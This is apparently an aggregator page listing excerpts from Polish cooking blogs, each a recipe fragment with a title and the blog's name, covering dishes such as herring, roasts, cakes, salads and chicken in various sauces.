pokrojone w paski pomidory i pokrojone w oliwki. Smażyć razem krótką chwilę. Na koniec wlać śmietankę i tyle samo wody z gotowania makaronu. Doprawić do smaku. Makaron połączyć z sosem. Posypać natką pietruszki i tartym serem. Smacznego

kolorowotorcikowo
Śledź po kaszubsku 150

śledzie ! A ponieważ i mój mąż jest wielbicielem tej pysznej ryby, przyrządzam je na różne sposoby. Na blogu znajdziecie także  śledzia w oleju z cebulą ,  śledzia w sosie czosnkowym  oraz  śledzia w oleju z pieczonymi burakami .  Będą jak znalazł na święta lub na imprezy sylwestrowe i karnawałowe. Śledź po kaszubsku Czas przygotowania: 30 minut Proporcje

Kulinarne przygody Gatity
Rumcajs Historycznie: Mleko migdałowe 230

mielonych migdałów 500ml wody Przygotowanie: Migdały gotujemy z wodą około 10 minut na średnim ogniu. Przecieramy przez sitko lub odciskamy przez gazę. Pozostałą migdałową papkę można zużyć do przygotowania sosu, zupy lub budyniu, ale o tym innym razem. Źródło: Rene Husson, Philippe Galamiche, Kuchnia średniowieczna

Gotuj z Rumcajsem
Sałatka warstwowa z tuńczykiem i ryżem 222

rodzinie, bowiem smakowała mu niezmiernie. Warstwami układana, dzięki czemu pięknie się prezentuje na stole. Smakuje wyśmienicie, dlatego polecam ją i Wam kochani. W wersji dietetycznej polecam zastąpić majonez sosem na bazie jogurtu naturalnego (2 łyżki jogurtu na 1 łyżkę majonezu), natomiast jeśli chodzi o ryż to można użyć tego pełnoziarnistego. Składniki: 200 gram ryżu 1 puszka tuńczyka 5-6 ogórków

Mango Papaja
Szybka cykoria do obiadu 175

podgrzejcie go na łyżeczce nad ciepłą herbatą) łyżka ziaren słonecznika Na suchej patelni uprażyć słonecznik. W kubku wymieszać jogurt z miodem. Liście cykorii rozłożyć na talerzu. Na liście wykładać sos jogurtowy. Posypać prażonym słonecznikiem i podawać :) ----- Podobne: Surówka z fenkułu i marchwi Surówka z selera i jabłka Rukola z kaparami i mango

Weekendy w domu i ogrodzie
Wigilijny kompot z suszu 221

przygotowania kompotu użyłam suszonych śliwek, które otrzymałam do testowania od firmy MAKAR . Suszone śliwki to składnik niezbędny do przygotowania świątecznych potraw. W kuchni można je wykorzystać do przygotowywania kompotu, sosu, farszu do mięs, ciast, ciastek i deserów. Śliwki MAKAR są doskonale uwędzone, mają idealny smak. Są pozbawione pestek, przez co są wygodne do użycia. Produkt spełnił moje oczekiwania

Tradycyjna kuchnia Kasi
Schab po sztygarsku pieczony ze śliwką 184

banalny w swym przygotowaniu. Morał z tego taki, że te proste dania też zapisują się pozytywnie. Najważniejsze, że jest to smaczne połączenie, które można podać z ulubionymi sosami i dodatkami o których decydujecie już sami.   Schab po sztygarsku pieczony ze śliwką SKŁADNIKI : 1 kg schabu bez kości około 150 g cienkiej kiełbasy podwędzanej (długość schabu) sól, pieprz i papryka

Kulinarny Świat Konczi i Szpileczki
Kalafiorowe kotleciki z serem 152

kalafiorowo-serowe kotleciki. Na zewnątrz rumiane i chrupiące a wewnątrz miękkie i delikatne. Bardzo dobrze smakują  z ryżem i gotowaną marchewką ale można tez podać z sosem pieczarkowym, pomidorowym lub innym ulubionym. Tanio i smacznie. Polecam:)             Składniki na ok. 8 kotlecików: połowa kalafiora 10 dkg sera żółtego 1 jajko

Maślane ciasteczko
Omlet na słodko 198

www.facebook.com/Di.gotuje     http://digotuje.blogspot.com   Tak przygotowany omlet jest puszysty, delikatny i sycący. Można go podawać z ulubionymi dodatkami, np. owocami, dżemem, bitą śmietaną czy różnymi sosami. Doskonale sprawdzi się na śniadanie oraz jako zaspokojenie ochoty na "coś słodkiego." (1 duży lub 2 małe) 2 jajka 2-3 łyżki mleka 1,5 łyżki mąki (płaskiej) 1/2 łyżeczki cukru

Di gotuje
Zapiekana cukinia z kaszą jaglaną, porem, papryką i pomidorami 172

patelni rozgrzać oliwę, zeszklić pora. Dodać paprykę, poddusić 2 minuty, dodać cukinię, poddusić dwie minuty, dodać pomidory, poddusić 10 min na średnim ogniu, tak aby z sosu wyparowała woda (nie musi wyparować cała). Dodać ugotowaną kaszę, dodać przyprawy, wymieszać, poddusić na średnim ogniu przez 5 min. Cukinie położyć na blaszkę wysmarowaną olejem. Na każdą cukinię nakładać farszu z górką. Wstawić

moj przepis na
Francuski warkocz na szybko 242

zarumienienienia się ciasta. Wyjąć warkocz, lekko przestudzić, pokroić na plastry o grubości 2 cm, podawać ze świeżą sałatą wówczas może to być samodzielne danie, lub jako przekąska z sosem miętowym lub innym wg. uznania. Smacznego

moj przepis na
Pasztet szlachecki 238

formy Dzień wcześniej upiec mięso. Opłukać, osuszyć, przełożyć do żaroodpornego naczynia, ułożyć (jedno na drugim) wołowinę, wieprzowinę, podgardle, boczek. Piec 1 godzinę w 180 st. Po upieczeniu ostudzić. W sosie, który wycieknie z mięsa wymoczyć porwaną na kawałki kajzerkę. Przyprawy rozgnieść w moździerzu na proszek. Cebulę obrać, pokroić w ćwiartki, usmażyć na pozostałym tłuszczu z pieczenia mięsa na rumiany kolor

moj przepis na
Torcik czekoladowy ze świeżymi owocami 185

palnika. Rozpuszczoną żelatynę powoli wmieszać do owoców, uważając, by nie wytworzyły się grudki (można najpierw ją rozrobić z odrobiną soku z owoców, by nie była tak gęsta). Schłodzić, by sos owocowy zgęstniał. Frużelina powinna mieć konsystencję żelu-kisielu (nie może być jednak gęsta jak galaretka). Ponadto: świeże owoce do dekoracji wierzchu tortu Wykonanie: Jeden z blatów tortu położyć na paterze

moj przepis na
Walentynkowy torcik z musem z owoców leśnych 250

niedużym garnuszku podgrzać śmietanę kremówkę, prawie do wrzenia. Zdjąć z palnika, dodać połamaną na kostki czekoladę, odstawić na 2 minuty. Po tym czasie wymieszać, do otrzymania gładkiego czekoladowego sosu. Ciasto nie musi leżakować, można spożywać od razu po przygotowaniu. Smacznego! Walentynkowy torcik z musem z owoców leśnych Walentynkowy torcik z musem z owoców leśnych Walentynkowy torcik z musem z owoców

moj przepis na
Tort ombre jogurtowo-truskawkowy 275

masę, która będzie przypominać w konsystencji gęstą kwaśną śmietanę Powyższe czynności można przygotować dzień wcześniej. W dniu przekładania tortu: Żelatynę rozpuścić we wrzątku, wymieszać do całkowitego rozpuszczenia, 2 łyżki sosu owocowego wymieszać z żelatyną, następnie żelatynę wlać do pozostałych owoców. Dokładnie wymieszać lub zblendować, żeby żelatyna dokładnie się rozpuściła i żeby nie było grudek. Odstawić do całkowitego ostudzenia. Schować

moj przepis na
Muffiny marchewkowe 231

wysypać otrębami, nakładać po czubatej łyżce ciasta, wyrównać. Piec w 180 st. przez 30 min (do suchego patyczka), wyjąć ostudzić chwilkę podawać jeszcze ciepłe/gorące. Można podawać z sosem zrobionym na bazie jogurtu, czosnku i ziół. Smacznego! Muffiny marchewkowe Muffiny marchewkowe listonic_type='fooddrink';listonic_theme='addToShoppingList7';listonic_content='2 marchewki (około 300 gr) starte na tarce z małymi

moj przepis na
Rysiowy sernik wegański z owocami 221

sernik, na to wyłożyć połówki śliwek, rozcięciem ku górze. Piec 1 godzinę w 180 st. Wystudzić w piekarniku. Po wystudzeniu, schować do lodówki na 2-3 godziny. Podawać z sosem czekoladowym. Smacznego! Rysiowy sernik wegański z owocami Rysiowy sernik wegański z owocami Rysiowy sernik wegański z owocami listonic_type='fooddrink';listonic_theme='addToShoppingList7';listonic_content='1 szklanka kaszy jaglanej (suchego

moj przepis na
Domowy ocet jabłkowy 234

wyrzucajcie skórek tylko przygotujcie swój własny ocet. Ocet jabłkowy ma bardzo wiele zastosowań zdrowotnych, kulinarnych itp. tu sobie o nich możecie poczytać. Ja przygotowałam go głównie z myślą o sosach do sałatek. Źródło: Składniki: Skórki po jabłkach woda przegotowana i ostudzona cukier Jabłka dokładnie wyszorować. Wykroić zgniłe czy obite części, obrać, wyciąć, następnie wyrzucić gniazda nasienne, jabłka zjeść lub przygotować

moj przepis na
Pasztet ze śledzi z suszonymi grzybami 183

Śledzie zazwyczaj spożywamy w zalewie octowej lub w różnych sosach, ewentualnie smażone. Moja propozycja to pieczony ze śledzi pasztet, z dodatkiem suszonych grzybów, ziemniaków, odrobiny suszonej żurawiny, wyszło niebanalnie i bardzo smacznie, polecam, jako przystawka na zimno, idealnie komponuje się z cebulką perłową. Na nadchodzące święta wręcz idealny! Składniki: Na dwie małe keksówki 40 dag surowego śledzia solonego

Wanilia i Kardamon
Jesiotr duszony w sosie podgrzybkowym 230

Dziś zapraszam na przepysznego jesiotra w sosie grzybowym. Rybę przywiozłam prosto z hodowli czyli wracając z wycieczki nad Stawy Milickie i pół drogi zastanawiałam się co dobrego mogłabym z nim zrobić. Przyznam, że ta wspaniała ryba trafiła w moje ręce pierwszy raz. Musiałam popytać, poczytać i dopiero wzięłam się do gotowania. Dużo dobrych rad jak obchodzić się z rybami

Smaczna Pyza
Pasta serowa z rybą w pomidorach 226

Składniki: 250 g białego sera w kostce 1 puszka ryby w sosie pomidorowym (np. makreli) zielona cebulka ewentualnie sól, pieprz Sposób wykonania: 1. Ser rozdrobnić widelcem. 2. Do sera dodać rybę z puszki i posiekaną zieloną cebulkę. Ewentualnie doprawić solą i pieprzem do smaku. Smacznego

Kuchnia domowa Ani
Co kupić pod choinkę osobie prowadzącej zdrowy tryb życia? 10 pomysłów. 167

zależności do modelu, możemy uzyskać szerokie wstążki, nitki lub jeszcze inne kształty. Genialnie sprawdzi się, kiedy musimy zjeść coś lekkiego w ramach przekąski. Temperujemy warzywo, mieszamy z ulubionym sosem, dorzucamy dowolne dodatki (np. pestki słonecznika) i gotowe. To także dobry pomysł na przemycenie warzyw w diecie dzieci - taki kolorowy makaron na pewno dużo lepiej zachęci do jedzenia niż kawałki warzyw

Powiedz dietom nie
Fasolka po bretońsku 176

www.facebook.com/Di.gotuje     http://digotuje.blogspot.com     "Danie, które zawiera gotowaną/duszoną fasolę, sos pomidorowy i dodatki. Jest to jedno z najbardziej popularnych dań w kuchni polskiej." (Wikipedia) 500g fasoli "Jaś" (*) 200g wędzonego boczku 250g kiełbasy (najlepiej dobrze przyprawionej) 2 cebule 2 ząbki czosnku 2 listki laurowe 2 ziarenka ziela angielskiego koncentrat pomidorowy (wg gustu) 1-2 łyżki

Di gotuje
Domowy paprykarz z makrelą 185

warzyw, dodać przyprawy: suszony czosnek i paprykę słodką oraz wedzoną, przykryć i dusić do uzyskania pożądanej miękkości warzyw (ja lubię lekko kruche). W tym momencie należy spróbować czy sos jest za kwaśny- w razie czego dosłodzić cukrem oraz doprawić solą i pieprzem. Makrelę wraz z ryżem przełożyć do pasty warzywnej, wymieszać. Smacznego! Przepis 'stary' (publikowany 1.11.2013 r.), ale został ulepszony

Kraina Miodem Płynąca
drobiowe rigatoni z brokułem i suszonymi pomidorami 222

przyjmą" wszystko, co akurat mamy pod ręką, a efekt końcowy zawsze jest satysfakcjonujący zarówno dla oka, jak i naszego zmysłu smaku. W tym wypadku delikatna pierś z kurczaka okraszona sosem z miksu pomidorowego i różyczkami brokuła. Składniki

zobacz ich smak
Jajka w sosie musztardowym 175

Pomysłów na przygotowanie jajek jest wiele. Kulinarna elastyczność jajek jest po prostu niesamowita! Jednym z ulubionych sposobów serwowania jajek mojego męża są jajka w sosie musztardowym. Mnie to bardzo odpowiada, bo to wdzięczny

Szybko Tanio Smacznie
Schab pieczony - przekładany pomidorami, cebulą i serem żółtym 325

rękawa do pieczenia, zawiązać i piec ok 2 godziny w 180*C. 30 minut przed końcem można rozciąć folię, żeby mięsko się przyrumieniło z wierzchu. Pod awać z ulubionym sosem . Inspiracja: Allrecipes

Kto ugości moich gości?
Aromatyczny makowiec czekoladowy 175

wyrównać.  Piec 60 minut w 175*C. Wyjąć, wystudzić.    Polewa 50 g gorzkiej czekolady 20 g masła Masło rozpuścić z czekoladą i wymieszać do powstania gładkiego sosu. Wylać na schłodzone ciasto. Smacznego

Chocolate Muffin Blog
Pizza na cieście francuskim -szybka i prosta przekąska. 279

plastry salami, oliwki i pomidora. Wkładam do piekarnika na około 30 minut lub do czasu aż ciasto będzie przyrumienione. Kroję na nieduże kawałki i podaję z ketchupem lub innym sosem. Szybko i smacznie

Niebieski kubek z kawa
Aromatyczny schab czosnkowy 215

wody, przykryć pokrywą lub folią aluminiową i wstawić do nagrzanego do 180 stopni piekarnika. Piec przez około 2 godziny, a w trakcie polewać mięso od czasu do czasu wytworzonym sosem. Podawać na gorąco lub zimno

Nie tylko w kuchni
Salatka z cieciorki, fasoli i kus kusu 215

rozdrobniony widelcem. Pomidora pozbawiamy skórki. Kroimy w kostkę (pomidorki koktajlowe przekrawamy na pół). Dodajemy do reszty składników w misce. Dymkę lub bazylie siekamy i dorzucamy do reszty. Mieszamy składniki sosu i i wlewamy do miski. Solimy, pieprzymy i mieszamy. Pysznie smakuje i na ciepło i po schłodzeniu

Dzieje kuchennej Wiewióry
Jak upiec mięso w kawałku 202

upieczeniu owinęłam w aluminiową folię na 10 minut. W ten sposób wszystkie soki zostały w mięsie, a ja miałam czas na nakrycie stołu. Do pieczonej jagnięciny polecam zamiast sosu sałatkę z kukurydzy, zblanszowanego kalafiora i mięty . Jako ciepłą przystawkę proponuję pieczone ziemniaki i smażone pieczarki. Jagnięca polędwica to dosyć małe porcje mięsa. Na godzinę przed przyrządzeniem wyjmuję mięso z lodówki

codojedzenia
Dorsz z kiszoną kapustą curry 186

zeszklą, dodajemy pastę curry i curry w proszku.  Całość podsmażamy ok. 30sekund na wolnym ogniu.  Dodajemy starty imbir, mleczko kokosowe i śmietankę. Gotujemy ok. 5 minut, aż sos zgęstnieje. Następnie dodajemy kiszoną kapustę i dusimy kolejne 5 minut. Doprawiamy miodem, sokiem i skórką z limonki, solą oraz pieprzem. Smacznego!   Książka „Ryby są super” będzie dostępna w świątecznej

bistro mama
Gołąbki 204

pokrojone i smażymy od kilku do kilkunastu minut aby marchewka trochę zmiękła. Dodajemy mięso mielone, czosnek i przyprawy i smażymy aż mięso się zarumieni. Dodajemy pomidory i dusimy aż sos z pomidorów się wchłonie (5-10 minut). Nadzienie przekładamy do miski i studzimy. Wyjmujemy liść laurowy. Dodajemy jajko i dokładnie mieszamy. Formę do pieczenia smarujemy masłem. Na dnie naczynie układamy

Kuchenne Wariacje
zapiekany w serowo śmietanowym sosie kurczak z kalafiorem 462

zapiekany kurczak z kalafiorem Delikatne kawałki piersi z kurczaka, przełożone różyczkami  kalafiora, to wprost idealna propozycja obiadu. Jeżeli dodatkowo całość oblejemy serowym sosem i zapieczemy, to możemy być pewni, że posiłek zniknie z talerzy, zaraz po podaniu go na stół. składniki  dla trzech osób 1 kalafior ( około 600 g) 450 g piersi z kurczaka 150 g  sera

Miód i pieprz
paszteciki drożdżowe z kaszanką 261

Paszteciki serwuję bardzo często, przeważnie jako dodatek do czystego pikantnego barszczyku lub samodzielnie z sosem czosnkowym. Przeważnie robię je z pieczarkami lub szpinakiem. Tym razem jakoś tak mnie natchnęło, żeby zrobić inaczej i do środka dałam kaszankę podsmażoną z cebulą i kiszoną kapustą. Mój mąż stwierdził, że było to danie niecodzienne, ale bardzo smaczne. Najlepiej smakują jeszcze ciepłe

Domowa Cukierenka-Domowa Kuchnia
Zupa wiedeńska 184

leśnych grzybów kilka kabanosów myśliwskich cebula czerwona i żółta kawałek boczku wędzonego łyżka śmietany kilka ząbków czosnku sól, pieprz, lubczyk ziarenka angielskie, pieprzu, kilka listków laurowych natka pietruszki ziemniaki sos sojowy ciemny i grzybowy marchewka, pietruszka i kawałek selera Przygotowanie: Mięso zalać wodą. Wstawić na ogień, dodać obraną marchewkę, pietruszkę, kawałek selera, czosnek z przyprawami, podpaloną na ogniu cebulą

Gaździnka warzy
Domowe hamburgery. 158

kotlety, smażymy na patelni bez tłuszczu jeśli mamy dobrą patelnie lub na małej ilości tłuszczu.  Kiedy kotlety nam się smażą mieszamy jogurt z ketchupem, kroimy bułki na pół - sosem smarujemy górną i dolną część bułki kładziemy sałatę oraz pokrojony w plastry pomidor, kiedy kotlety będą już usmażone wykładamy na pomidor potem ser i znów pomidor. Zamykamy bułkę - GOTOWE. Smacznego

Moje-pitraszenie
Sznycle schabowe w sosie chrzanowym. 134

minut (im więcej mięsa tym dłużej gotujemy). Pod koniec w szklance mieszamy łyżeczkę chrzanu z bulionem powstałym z mięsa. Wlewamy do garnka i mieszamy. Zagęszczamy mąką aby powstał sos. Można podawać z ziemniaczkami lub z makaronem. Smacznego

Moje-pitraszenie
Kurczak z ryżem. 216

wstawiamy do lodówki na 30 minut. Ryż gotujemy według instrukcji na opakowaniu. Kurczaka obtaczamy w bułce tartej i smażymy na oleju aż będzie złocisty. Ugotowany ryż mieszamy z pozostałym sosem jogurtowym. Smacznego

Moje-pitraszenie
Filet z kurczaka z tymiankem. 165

Składniki: 1 pierś z kurczaka tymianek, łyżka sosu sojowego, czosnek, imbir mielony 1/2 małego jogurtu naturalnego gęstego bułka tarta Kurczaka myjemy kroimy w kawałki posypujemy przyprawami (obficie tymiankiem), dodajemy jogurt naturalny i dokładnie ze sobą mieszamy odstawiamy do lodówki na ok. 30 minut (jeśli mamy czas lepiej dłużej). Następnie obtaczamy kawałki kurczaka w bułce tartej i smażymy na rozgrzanym oleju

Moje-pitraszenie
Pulpeciki drobiowe. 147

wstawiamy wodę na gaz i czekamy aż się zagotuje. Z mięsa formujemy kuleczki i wrzucamy do gotującej się wody. Kiedy pulpety wypłyną gotujemy jeszcze około 10 minut. Podajemy z sosem pomidorowym lub wrzucamy do zupy. Smacznego :) *Jeśli będziemy mieli 500 g mięsa bułka tarta nie jest konieczna

Moje-pitraszenie
Chrupiące nuggetsy z sosem czosnkowym 327

pyszne i na ciepło i na zimno,co jest fajne np na imprezy kiedy możemy je przygotować sobie trochę wcześniej i podać gościom no i oczywiście podać go z sosem czosnkowym lub z ketchupem np dla dzieci polecam gorąco u mnie zniknęły ze stołu pierwsze i smakowały wszystkim SKŁADNIKI: 3 piersi z kurczaka 3/4 łyżeczki soli 1/2 łyżeczki słodkiej mielonej

Swojskie jedzonko
Patisony faszerowane mięsem mielonym i ryżem. Patisony a'la gołąbki. 309

patisonów. Piekę pod przykryciem ok. godzinę - półtorej w temperaturze 180 stopni z termoobiegiem. Patisony sa gotowe kiedy warzywa są miękkie a mięso w środku upieczone. Gotowe patisony podaję z sosem pomidorowym. Smacznego

Kuchnia z widokiem na ogród
Hotel od kuchni. Mercure Racławice Dosłońce Conference & SPA 199

Świata - w każdy czwartek kuchnia innego kraju - Włochy, Francja, Norwegia, Rosja itp.. Marynowany śledź rozpływający się w ustach Sztuka mięsa wołowego podana z bulionem. Mięciutkie mięso z łagodnym sosem chrzanowym i gotowanymi warzywami. Gęsie udo konfitowane z dodatkiem suszonych owoców. Wszystkie porcje na bogato. Befsztyk tatarski z jajkiem przepiórczym przygotowany przy stoliku W karcie win ciekawe pozycje w przystępnych

SzczyptaSmaQ
Wasabi Been Mix- Fasolki Wasabi z Najstarszego Targowiska w Europie pod Dachem w UK 179

można było spróbować rewelacyjnych Pierożków Dim Sum, robionych przez Chinkę. Coś wspaniałego. Delikatne rozpływające w ustach. Pierożki były specjalnością kucharzy z farszem z wieprzowiną i kapustą, serwowane z 4 sosami na bazie oliwy:czosnkowy, pietruszkowy, sojowy z chilli i koperkowy.Za 4 sztuki zapłaciliśmy 2.5 f.  Próbowaliśmy również Pizzę Włoską serwowaną w Kawałkach. Pizza z pieczarkami i szynką na bardzo

Gotowanie Patki
Mini Hot Dogi z Ciasta francuskiego 179

Szybka i Łatwa przekąska zarówno dla dzieci jak i dorosłych. Polecam podawać ze świeżą surówką oraz ulubionym sosem.  SKŁADNIKI: 1 Ciasto Francuskie 5 Parówek 2 Ogórki konserwowe lub kiszone Dowolna Musztarda  Pieprz i Sól    SPOSÓB PRZYGOTOWANIA: Piekę przez 30 min w 180 stopniach góra-dół

Gotowanie Patki
FILETY Z KURCZAKA W SŁONECZNIKU, Z PIECZONYMI ZIEMNIAKAMI, TZATZIKAMI Z KISZONYCH OGÓRKÓW I SAŁATKĄ 432

mogą być z skórką) pokrój w plasterki i na pół, cebulę w piórka, paprykę w wąskie paski. Wymieszaj oliwę ze startym czosnkiem, octem, cukrem, solą oraz pieprzem i polej sosem sałatkę. FILETY Z KURCZAKA W SŁONECZNIKU: Umyte, osuszone i obrane z błonek filety przekrój w poprzek na pół. Posól, popieprz i posyp odrobiną słodkiej papryki. Panieruj filety najpierw w mące

Słodko-Słony Świat Ilony
Fotorelacja z rybnych warsztatów Lidla z Karolem Okrasą 289

smaku potraw :) Postanowiłyśmy wykonać rybną zupę a'la leczo z rybą i rybnym bulionem i burgera z mielonym mięsem (rybn ym oczywiście) , żurawiną i suszonymi śliwkami. Hitem okazał się sos, który powstał przy udziale jednego z Kucharzy. Kapusta kiszona duszona w mleku kokosowym z curry - świetnie pasował do naszych kanapek. Na wierzchu położyłyśmy pomidorową salsę m.in. z chili i kolendrą

Moje Kuchenne Rewelacje
Kasza pęczak w sosie pomidorowym z kurczakiem i warzywami. 401

Pęczak w sosie pomidorowym z warzywami i kurczakiem smakuje świetnie.Dodajemy takie warzywa,jakie lubimy . Bardzo ekspresowy obiad. Składniki: Kasza pęczak ,jedna szklanka połowa piersi z kurczaka papryka por ,zielona i biała część cebulka,mała pieczarki,kilka mała puszka pomidorów 2 łyżki przecieru pomidorowego sól,pieprz,ulubione dodatkowe przyprawy Kaszę płuczemy,następnie gotujemy w 3 szklankach wody 15 ,20 minut

Ladylaura.
Śledzie w sosie musztardowym 187

długiego czasu, nie uwierzycie ale za punkt honoru postawiłam sobie, że na tym blogu będzie masa przepisów na moje ulubione święta. Najpiękniejsze. Jedną z nich są przepyszne śledzie w sosie musztardowym. Nie powiem, że co roku jadamy te śledzie na Święta. Nie powiem również, że jest to tradycyjne danie w mojej rodzinie. Pierwszy raz je jadłam i pierwszy raz miałam

Mango Papaja
Tzatziki z kalarepą czyli kuchnia grecka w nowej odsłonie 206

Sos tzatziki jest niezastąpionym dodatkiem do shoarmy , ( przepis na shoarmę ) dań z grilla, warzyw (zarówno świeżych, jak i grillowanych) czy też wyśmienitych chlebków pita. Tzatziki podajemy mocno schłodzony. Poniższy przepis został nico zmodyfikowany przez Lulu poprzez dodanie kalarepy, którą nadała tzatiki nieco więcej ostrości. Składniki: 0,4-0,5 litra bardzo gęstego jogurtu typu greckiego *** 0,4 - 05 kg ogórków

Kulinaria - potrawy z różnych stron świata
Szynka z dzika pieczona 254

Można podać na ciepło, ale wspaniałe jest też na zimno. Przed pokrojeniem zdjąć z mięsa boczek (nie wyrzucać go, jest świetnym dodatkiem do kaszy). 300 ml kaszy gryczanej, Zlać sos z pieczenia mięsa, zmierzyć objętość. Uzupełnić wodą do objętości 450 ml. Boczek pokroić, wrzucić do garnka. Wsypać kaszę, wlać płyn, zamieszać. Przykryć. Postawić na dużym ogniu aż do zagotowania. Zmniejszyć

królestwo garów
Brownie, pyszne i łatwe ciasto czekoladowe ( z czekoladą ) 405

odłożyć na polewę Przelać do blaszki wyłożonej papierem do pieczenia. Włożyć na ok 20-25 min do nagrzanego na 185*C piekarnika. Podawać gorące, z gałką lodów lub z sosem malinowym. W środku ciasto powinno być bardzo wilgotne.  Mam nadzieję, że moje BROWNIE będzie Wam smakowało :) Czekam na wszelkie komentarze. Smacznego ! Przepis bierze udział w https://sklep.egmont.pl/ksiazki/literatura/p,moje-wypieki-wielki-powrot,11303.html

Jemy Pijemy
pyszne kiełbaski chrupiące z cebulką:Airfryer hd9240/30 314

minuty na mocniej chrupiące kiełbaski są w środku upieczone, skórka chrupiąca, kiełbaski sa w sumie bez nadmiaru tłuszczu bo sporo zbednego wyciekło do patelni podałam z sosem jogurtowym:rzodkiewki 4 sztuki, pół ogórka zielonego, 4 ząbki czosnku, pół pęczka koperku zmiksowac w rozdrabniaczu, wymieszać z jogurtem greckim 250 ml, do smaku dać soli, cukru, sok z cytryny...............SMACZNEGO

W Mojej Kuchni Lubię
ziołowe kostki 231

dobrej oliwy.Zamrozić .Gdy kostki sa juz zamrożone ,przełożyc do foliowego woreczka i mrozic następna partie ziół. Zamrożone kostki , trzymać w woreczku w zamrażalniku i dodawać do zup lub sosów, wedle smaku. Uwaga, kostki należy dodawać pod koniec gotowania -, żeby od zbyt długiego gotowania nie traciły aromatu i koloru. Można mrozic ,robic kostki z pojedynczych ziól ,ja jednak wolę mieszane

w mojej kuchni
Sałatka z granatem 188

pyszny, grecki ser idealnie komponujący się ze słodkościami.  Składniki 2 granaty Mix sałat 250 g pomidorków koktajlowych 200 g sera feta 1 szalotka kilka gałązek świeżego tymianku (opcjonalnie ) Sos winegret: sól morska pieprz 4 łyżki oliwy extra vergine 3 łyżki miodu 2 łyżki octu winnego czerwonego 1 łyżka musztardy Dijon     Przygotowanie Wyłuskałem ziarenka granatu. Sałatę ułożyłem

R'n'G Kitchen
Krem śmietankowy z mascarpone 239

Idealny do przekładania tortów śmietanowych! Ale równie pysznie smakuje w formie deseru, serwowanego w pucharku razem z owocami bądź galaretką- posypany wiórkami czekoladowymi lub polany sosem toffi! Pychota! SKŁADNIKI NA KREM ŚMIETANOWY: ( na 6 pucharków lub do przełożenia i ozdobienia 1 tortu) 500 ml śmietany kremówki szklanka cukru pudru 500 g serka mascarpone Jeżeli krem chcecie wykorzystać do przełożenia

Domowe Torty
Bakłażan na chrupko 194

bakłażana delikatnie osuszamy i panierujemy w mące, następnie w jajku i bułce tartej. Smażymy na rozgrzanym oleju do zezłocenia. Odsączamy z nadmiaru tłuszczu i podajemy na ciepło z ulubionym sosem

Malinowe Pocałunki
Curry z kurczaka z fasolką szparagową 210

kroimy w kostkę, mieszamy z pastą curry, przeciśniętym przez praskę czosnkiem i podsmażamy na niewielkiej ilości oleju razem z posiekaną drobno cebulą. Dodajemy mleczko kokosowe i dusimy do odparowania sosu. Pod koniec dodajemy fasolkę szparagowa i jeszcze chwilę dusimy. Danie podajemy z ryżem i posypujemy ziarnami sezamu. Smacznego

Na Ciasteczkowych Papierach
Kotleciki drobiowe z papryką i serem 186

masy na patelnię i uformować płaski placuszek. Smażyć z obu stron na złoty kolor. Osączyć z nadmiaru tłuszczu na papierowym ręczniku. Gotowe kotleciki podałam z kuskusem i surówką z sosem koperkowym

Monia miesza i gotuje
Gulasz marokański z dynią hokkaido, cukinią i ciecierzycą z dodatkiem komosy ryżowej czarnej 181

wyciśnięty przez praskę czosnek. Smaż około pół minuty, , ciągle mieszając. Wrzuć pomidory z puszki, daktyle pokrojone w cienkie plasterki, dosmacz solą. Przykryj i gotuj pomału około 10 minut. Jeśli sos jest za gęsty, dodaj wody. Następnie wsyp ciecierzycę i skórkę utartą z połowy cytryny. Lekko zamieszaj i gotuj pod przykryciem około 10 minut. Następnie dodaj cukinię i dynię. Bardzo delikatnie

Z Kuchni Do Kuchni
Kluski śląskie 204

wrzucamy po kilka do wrzątku. Gotujemy kilka minut (około 2-3) od wypłynięcia. Wyciągamy jedną, sprawdzamy czy jest miękka. Wyciągamy pozostałe i wrzucamy kolejną porcje. Podajemy z mięsnym sosem . Smacznego

Kolizje Smaków
Sałatka z kaszą pęczak i kurczakiem w harissie 222

wraz z marynatą przez 10-12 minut lub do czasu, gdy kurczak się skarmelizuje na brzegach, a w środku będzie miękki, a marynata zacznie bulgotać. Wówczas odstawiamy mięso z sosem na 5 minut pod przykryciem, a następnie każdy pasek mięsa kroimy w kostkę. W dużej misce mieszamy kaszę z kurczakiem, cukinią, brokułem. Dodajemy natkę pietruszki i podprażone orzeszki. Doprawiamy

Smakowity Blog Kulinarny
pyszne,chrupiące frytki prawie bez oleju:Airfryer hd9240/30 169

minut, w połowie czasu kosz wyjąć i potrząsnąć, włożyć do urządzenia do końa pieczenia frytki są w środku mięsiste, skórka chrupiąca, dawno tak pysznych frytek nie jadłam podałam z sosem jogurtowym: rzodkiewki 4 sztuki, pół ogórka zielonego, 4 zabki czosnku, pół pęczka koperku zmiksowac w rozdrabniaczu, wymieszać z jogurtem greckim 250 ml, do smaku dac soli, cukru, sok z cytryny

W Mojej Kuchni Lubię
przyprawione talarki ziemniaczane:testowanie Airfryer hd9240/30 373

teraz na 180 C na 12 minut, w połowie czasu kosz wyjąć i potrząsnąć, włożyć do urządzenia do końca pieczenia talarki są w środku mięsiste, skórka chrupiąca podałam z sosem jogurtowym:rzodkiewki 4 sztuki, pół ogórka zielonego, 4 zabki czosnku, pół pęczka koperku zmiksowac w rozdrabniaczu, wymieszać z jogurtem greckim 250 ml, do smaku dac soli, cukru, sok z cytryny

W Mojej Kuchni Lubię
Jedzonko do pracy #46 190

aromatyczny. Królują w nim smaki Azji, ponieważ dania z tej części świata przygotowuje się bardzo szybko, a co więcej są lekkie i pożywne. Polecam! Śniadanie : Omlet z dymka i sosem sojowym Lunch : Stir-fry z kurczaka z makaronem i warzywami (przepis wkrótce na blogu) Przekąska : Pomidorki koktajlowe Smacznego

Codzienne Gotowanie
Meksykańska sałatka z kurczakiem 477

ostrego żółtego sera por ( jasna część) 1 papryka czerwona  lub zielona 2 łyżeczki przyprawy meksykańskiej  + sól do smaku 4 łyżki oliwy lub dobrego oleju Sos: 2 łyżki majonezu + 2 łyżki pikantnego ketchupu sól i pieprz do smaku Kurczaka pokroić w kostkę, wrzucić do miski razem z przyprawą meksykańską, solą i dwoma łyżkami oliwy. Wymieszać

Maślane ciasteczko
Muffiny z porem i mozzarellą 207

soli (użyłam himalajskiej od Skworcu ) 1/3 łyżeczki ostrej papryki w proszku 1-2 szczypty gałki muszkatołowej (solidne) Dodatkowo: papryka w proszku lub ulubione zioła do oprószenia wierzchu Opcjonalnie: ulubiony sos (polecam z firmy Folwark ) Ser zetrzeć na tarce (o dużych i średnich oczkach) - odrobinę zostawić do posypania wierchu. Pora pokroić w półplasterki. W pierwszej misce wymieszać mąkę, proszek do pieczenia

